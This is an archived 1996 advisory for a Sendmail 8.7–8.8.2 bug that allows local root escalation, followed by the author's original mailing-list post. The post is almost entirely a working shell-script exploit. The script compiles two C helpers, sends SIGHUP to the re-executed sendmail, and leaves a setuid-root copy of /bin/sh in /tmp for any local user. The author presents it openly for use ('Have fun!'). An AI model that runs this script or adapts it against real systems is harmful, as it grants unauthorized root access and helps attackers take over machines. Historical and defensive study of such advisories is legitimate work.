Sendmail HUP bug

Description:smtpd, part of the sendmail distribution, can be tricked into executing arbitrary programs as root after receiving a hang-up signal.
Author:Leshka Zakharoff (
Compromise: root (local)
Vulnerable Systems:systems running Sendmail versions 8.7-8.8.2
Date:16 November 1996


Subject: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
From: Leshka Zakharoff (
Date: Sat, 16 Nov 1996 04:09:18 +0300 

#-------------------------------- CUT HERE -------------------------------------
#                                   Hi !
#                This is exploit for sendmail smtpd bug
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#         This shell script does a root shell in /tmp directory.
#          If you have any problems with it, drop me a letter.
#                                Have fun !
#                           ----------------------
#               ---------------------------------------------
#    -----------------   Dedicated to my beautiful lady   ------------------
#               ---------------------------------------------
#                           ----------------------
#          Leshka Zakharoff, 1996. E-mail:
echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
#-------------------------------- CUT HERE -------------------------------------

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